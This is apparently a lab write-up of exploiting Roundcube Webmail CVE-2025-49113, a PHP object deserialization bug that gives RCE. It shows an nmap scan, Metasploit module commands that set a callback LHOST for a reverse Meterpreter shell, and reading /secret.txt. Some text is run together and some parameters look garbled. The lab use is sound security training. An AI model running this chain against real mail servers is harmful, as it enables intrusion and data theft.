Hands-on exploitation lab for Roundcube Webmail CVE-2025-49113 (authenticated PHP object deserialization → RCE) to read /secret.txt.
"DISCLAIMER: Educational Use Only"
This repository documents my step-by-step exploitation of Roundcube Webmail CVE-2025-49113 in a controlled lab to obtain the secret stored in /secret.txt.
⚠️ Disclaimer
All work was performed against a lab / training environment that I am authorised to test.
Do not use these techniques against systems you do not own or administrate.
Roundcube Webmail is a browser-based, open-source PHP email client that connects to mailboxes via IMAP and sends mail via SMTP. It commonly runs on Apache or Nginx with MySQL/PostgreSQL/SQLite and is widely used in shared hosting environments.
Vulnerability – CVE-2025-49113
All Roundcube versions up to and including 1.6.10 (and 1.5.x before 1.5.10) contain a critical bug in program/actions/settings/upload.php. The _from parameter is not properly validated, which allows an authenticated attacker to trigger unsafe PHP object deserialization and achieve remote code execution with web server privileges.
Lab credentials:
roundcubercpassGoal:
What is the secret inside the
/secret.txtfile?
nmapmsfconsole (Metasploit 6)172.20.2.57exploit/multi/http/roundcube_auth_rce_cve_2025_49113Command: nmap -sV Target Machine
msf6 > use exploit/multi/http/roundcube_auth_rce_cve_2025_49113 msf6 exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > set RHOSTS Target Machine msf6 exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > set LHOST Kali Machine msf6 exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > set USERNAME Target Machine msf6 exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > set PASSWORD Target Machine
meterpreter > cat /secret.txt